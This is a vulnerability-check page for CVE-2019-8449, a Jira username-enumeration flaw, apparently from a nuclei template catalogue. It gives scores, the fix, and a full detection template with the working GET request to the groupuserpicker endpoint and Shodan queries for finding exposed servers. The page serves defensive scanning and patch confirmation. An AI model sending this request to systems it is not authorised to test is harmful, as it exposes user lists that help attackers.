Jira <8.4.0 - Information Disclosure

mediumseverity

5.3CVSS score

85.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Jira before 8.4.0 is susceptible to information disclosure. The /rest/api/latest/groupuserpicker resource can allow an attacker to enumerate usernames, and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain access to sensitive information.

Fix

Upgrade Jira to version 8.4.0 or later to fix the information disclosure vulnerability.

How to confirm it

Send: GET {{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
Positive when: contains "{\"users\":{\"users\":" AND status 200

Run it with nuclei: nuclei -id CVE-2019-8449 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-8449

info:
  name: Jira <8.4.0 - Information Disclosure
  author: harshbothra_
  severity: medium
  description: Jira before 8.4.0 is susceptible to information disclosure. The /rest/api/latest/groupuserpicker resource can allow an attacker to enumerate usernames, and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information.
  remediation: |
    Upgrade Jira to version 8.4.0 or later to fix the information disclosure vulnerability.
  reference:
    - https://www.doyler.net/security-not-included/more-jira-enumeration
    - https://jira.atlassian.com/browse/JRASERVER-69796
    - http://packetstormsecurity.com/files/156172/Jira-8.3.4-Information-Disclosure.html
    - https://github.com/SexyBeast233/SecBooks
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-8449
    cwe-id: CWE-306
    epss-score: 0.85739
    epss-percentile: 0.99728
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
      - http.component:"atlassian confluence"
      - cpe:"cpe:2.3:a:atlassian:jira"
  tags: cve,cve2019,atlassian,jira,disclosure,packetstorm,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"users":{"users":'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from